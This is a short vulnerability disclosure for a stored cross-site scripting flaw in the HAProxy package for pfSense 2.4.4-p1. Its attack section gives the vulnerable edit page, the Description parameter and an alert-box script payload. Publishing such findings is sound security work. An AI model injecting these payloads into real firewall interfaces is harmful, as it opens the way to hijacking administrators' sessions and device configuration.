################################################################################################################################## # Exploit Title: pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Stored Cross-Site Scripting # Date: 13.02.2019 # Exploit Author: Gionathan "John" Reale # Vendor Homepage: https://www.pfsense.org # Version: 2.4.4-p1/0.59_14 ################################################################################################################################## Introduction pfSense® software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface. In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution. HAProxy is free, open source software that provides a high availability load balancer and proxy server for TCP and HTTP-based applications that spreads requests across multiple servers. ################################################################################# Example: URL https://192.168.1.1/haproxy/haproxy_listeners_edit.php PARAMETER Description PAYLOAD "><script>alert("test")</script>